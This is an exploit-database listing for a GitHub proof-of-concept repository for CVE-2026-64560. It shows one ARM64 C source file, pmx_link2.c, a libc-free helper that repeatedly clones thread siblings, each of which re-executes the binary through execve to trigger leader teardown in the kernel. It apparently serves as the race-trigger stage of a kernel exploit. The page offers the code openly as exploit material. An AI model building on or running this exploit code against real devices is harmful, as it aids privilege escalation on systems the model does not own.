Exploit database

GH-3b65374860ef7bd1fcaca207fa8ff527

maosasagawa/pmx110-cve-2026-64560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
maosasagawa/pmx110-cve-2026-64560Revision 24f4c1a7f657

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/pmx_link2.c

Suggested starting fileC · 9,057 bytes
/* pmx_link2: static, libc-free non-leader-exec chain helper.
 * usage: pmx_link2 <ack_fd> <gen> <total> <logical_cpu> <caller_pid> <caller_tid> <caller_cpu>
 *        pmx_link2 --selftest <generations> [cpu]
 * Each generation creates a CLONE_THREAD sibling that execve()s this same
 * static binary; the sibling's de_thread() tears down the previous leader.
 */
typedef unsigned long u64;
typedef long i64;

#define SYS_exit_group 94
#define SYS_nanosleep 101
#define SYS_clock_gettime 113
#define SYS_sched_setaffinity 122
#define SYS_getpid 172
#define SYS_gettid 178
#define SYS_clone 220
#define SYS_execve 221
#define SYS_write 64
#define SYS_openat 56
#define SYS_close 57

#define CLONE_VM 0x100UL
#define CLONE_FS 0x200UL
#define CLONE_FILES 0x400UL
#define CLONE_SIGHAND 0x800UL
#define CLONE_THREAD 0x10000UL
#define CLONE_SYSVSEM 0x40000UL
#define CLONE_PARENT_SETTID 0x100000UL
#define CLONE_CHILD_CLEARTID 0x200000UL
#define THREAD_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD | \
                      CLONE_SYSVSEM | CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID)

static long sc0(long n) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0"); __asm__ volatile("svc #0" : "=r"(x0) : "r"(x8) : "memory"); return x0; }
static long sc1(long n, long a) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0") = a; __asm__ volatile("svc #0" : "+r"(x0) : "r"(x8) : "memory"); return x0; }
static long sc2(long n, long a, long b) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0") = a; register long x1 __asm__("x1") = b; __asm__ volatile("svc #0" : "+r"(x0) : "r"(x1), "r"(x8) : "memory"); return x0; }
static long sc3(long n, long a, long b, long c) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0") = a; register long x1 __asm__("x1") = b; register long x2 __asm__("x2") = c; __asm__ volatile("svc #0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x8) : "memory"); return x0; }
static long sc4(long n, long a, long b, long c, long d) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0") = a; register long x1 __asm__("x1") = b; register long x2 __asm__("x2") = c; register long x3 __asm__("x3") = d; __asm__ volatile("svc #0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x3), "r"(x8) : "memory"); return x0; }
static long sc5(long n, long a, long b, long c, long d, long e) { register long x8 __asm__("x8") = n; register long x0 __asm__("x0") = a; register long x1 __asm__("x1") = b; register long x2 __asm__("x2") = c; register long x3 __asm__("x3") = d; register long x4 __asm__("x4") = e; __asm__ volatile("svc #0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x8) : "memory"); return x0; }

struct exec_ack { i64 timestamp_ns; int generation, total, caller_pid, caller_tid, caller_cpu, current_pid, current_tid, current_cpu; };
struct timespec64 { i64 sec; i64 nsec; };

static char gen_txt[16], total_txt[16], cpu_txt[16], pid_txt[16], tid_txt[16], ccur_txt[16], fd_txt[16];
static char *const next_argv[9] = { (char *)"/proc/self/exe", fd_txt, gen_txt, total_txt, cpu_txt, pid_txt, tid_txt, ccur_txt, (char *)0 };
static char *const empty_envp[1] = { (char *)0 };
static char child_stack[65536] __attribute__((aligned(16)));
static int child_tid_word;

static long my_atoi(const char *s) { long v = 0; int neg = 0; if (*s == '-') { neg = 1; s++; } while (*s >= '0' && *s <= '9') { v = v * 10 + (*s - '0'); s++; } return neg ? -v : v; }
static int my_strcmp(const char *a, const char *b) { while (*a && *a == *b) { a++; b++; } return (unsigned char)*a - (unsigned char)*b; }
static void put_num(char *dst, long v) {
    char tmp[24]; int n = 0;
    if (v < 0) { dst[0] = '-'; dst++; v = -v; }
    if (!v) tmp[n++] = '0';
    while (v) { tmp[n++] = (char)('0' + v % 10); v /= 10; }
    while (n) *(dst++) = tmp[--n];
    *dst = 0;
}
static long my_strlen(const char *s) { long n = 0; while (s[n]) n++; return n; }
static long pin_cpu(int cpu) {
    unsigned long mask = 1UL << cpu;
    return sc3(SYS_sched_setaffinity, 0, sizeof(mask), (long)&mask);
}
static void ts_write(i64 *out) { struct timespec64 ts; sc2(SYS_clock_gettime, 1 /*CLOCK_MONOTONIC*/, (long)&ts); *out = ts.sec * 1000000000LL + ts.nsec; }
static void debug_line(const char *tag, long gen, long pid, i64 t) {
    char buf[96]; long n = 0;
    while (*tag) buf[n++] = *tag++;
    for (const char *p = " gen="; *p; p++) buf[n++] = *p;
    { char nb[16]; put_num(nb, gen); for (char *q = nb; *q; q++) buf[n++] = *q; }
    for (const char *p = " pid="; *p; p++) buf[n++] = *p;
    { char nb[16]; put_num(nb, pid); for (char *q = nb; *q; q++) buf[n++] = *q; }
    for (const char *p = " ts="; *p; p++) buf[n++] = *p;
    { char nb[24]; put_num(nb, t); for (char *q = nb; *q; q++) buf[n++] = *q; }
    buf[n++] = '\n';
    sc3(SYS_write, 2, (long)buf, n);
}

static void dbg(const char *tag, long a, long b) {
    long fd = sc4(SYS_openat, -100, (long)"/data/local/tmp/link_dbg.log", 1 | 0100 | 02000, 0644);

    if (fd < 0)
        return;
    {
        char buf[128]; long n = 0;

        while (*tag) buf[n++] = *tag++;
        buf[n++] = ' ';
        { char nb[16]; put_num(nb, a); for (char *q = nb; *q; q++) buf[n++] = *q; }
        buf[n++] = ' ';
        { char nb[16]; put_num(nb, b); for (char *q = nb; *q; q++) buf[n++] = *q; }
        buf[n++] = '\n';
        sc3(SYS_write, fd, (long)buf, n);
    }
    sc1(SYS_close, fd);
}

void c_start(long argc, char **argv) {
    long ack_fd, gen, total, cpu, caller_pid, caller_tid, caller_cpu;
    i64 t;

    if (argc >= 2 && my_strcmp(argv[1], "--selftest") == 0) {
        char self[16];
        put_num(self, (long)sc0(SYS_getpid));
        total = argc > 2 ? my_atoi(argv[2]) : 8;
        cpu = argc > 3 ? my_atoi(argv[3]) : -1;
        put_num(gen_txt, 1); put_num(total_txt, total); put_num(cpu_txt, cpu);
        put_num(pid_txt, (long)sc0(SYS_getpid));
        put_num(tid_txt, (long)sc0(SYS_gettid));
        put_num(ccur_txt, 0); put_num(fd_txt, -1);
        (void)self;
        sc3(SYS_execve, (long)next_argv[0], (long)next_argv, (long)empty_envp);
        sc1(SYS_exit_group, 127);
    }
    if (argc < 8) {
        const char *u = "usage: pmx_link2 <ack_fd> <gen> <total> <cpu> <cpid> <ctid> <ccpu>\n";
        sc3(SYS_write, 2, (long)u, my_strlen(u));
        sc1(SYS_exit_group, 2);
    }
    ack_fd = my_atoi(argv[1]); gen = my_atoi(argv[2]); total = my_atoi(argv[3]);
    cpu = my_atoi(argv[4]); caller_pid = my_atoi(argv[5]); caller_tid = my_atoi(argv[6]); caller_cpu = my_atoi(argv[7]);
    if (cpu >= 0 && pin_cpu((int)cpu))
        sc1(SYS_exit_group, 121);
    dbg("entry gen", gen, (long)sc0(SYS_getpid));
    if (ack_fd >= 0) {
        struct exec_ack ack;
        ts_write(&ack.timestamp_ns);
        ack.generation = (int)gen; ack.total = (int)total;
        ack.caller_pid = (int)caller_pid; ack.caller_tid = (int)caller_tid; ack.caller_cpu = (int)caller_cpu;
        ack.current_pid = (int)sc0(SYS_getpid); ack.current_tid = (int)sc0(SYS_gettid); ack.current_cpu = (int)cpu;
        if (sc3(SYS_write, ack_fd, (long)&ack, sizeof(ack)) != (long)sizeof(ack)) {
            dbg("ackwrite_fail errno", 0, 0);
            sc1(SYS_exit_group, 100);
        }
        dbg("ack_ok gen", gen, ack_fd);
    }
    if (gen >= total) {
        ts_write(&t);
        debug_line("pmx_link2 final", gen, (long)sc0(SYS_getpid), t);
        if (ack_fd >= 0)
            sc1(SYS_close, ack_fd);   /* let the consumer see EOF */
        if (ack_fd < 0)
            sc1(SYS_exit_group, 0);
        for (;;) sc2(SYS_nanosleep, (long)&(struct timespec64){ 3600, 0 }, 0);
    }
    put_num(gen_txt, gen + 1); put_num(total_txt, total); put_num(cpu_txt, cpu);
    put_num(pid_txt, (long)sc0(SYS_getpid)); put_num(tid_txt, (long)sc0(SYS_gettid));
    put_num(ccur_txt, cpu); put_num(fd_txt, ack_fd);
    {
        long rc = sc5(SYS_clone, THREAD_FLAGS, (long)(child_stack + sizeof(child_stack)), (long)&child_tid_word, (long)&child_tid_word, 0);
        if (rc == 0) {
            /* new sibling: it is the thread that performs the exec, so it must
             * be recorded as the caller for the next generation's ack. */
            put_num(tid_txt, (long)sc0(SYS_gettid));
            long e = sc3(SYS_execve, (long)next_argv[0], (long)next_argv, (long)empty_envp);
            dbg("execve_fail gen", gen, -e);
            sc1(SYS_exit_group, 127);
        }
        dbg("cloned rc", rc, gen);
        if (rc < 0)
            sc1(SYS_exit_group, 103);
    }
    for (;;) sc2(SYS_nanosleep, (long)&(struct timespec64){ 3600, 0 }, 0);
}

void _start(void) __attribute__((naked, noreturn));
void _start(void) {
    __asm__ volatile(
        "mov x0, sp\n"
        "ldr x1, [x0]\n"          /* argc */
        "add x1, x0, #8\n"        /* argv */
        "mov x0, x0\n"
        "mov x1, x1\n"
        "mov x0, x0\n"
        "ldr x2, [sp]\n"          /* argc again */
        "add x1, sp, #8\n"        /* argv */
        "mov x0, x2\n"
        "bl c_start\n"
        "mov x0, #0\n"
        "mov x8, #94\n"
        "svc #0\n");
}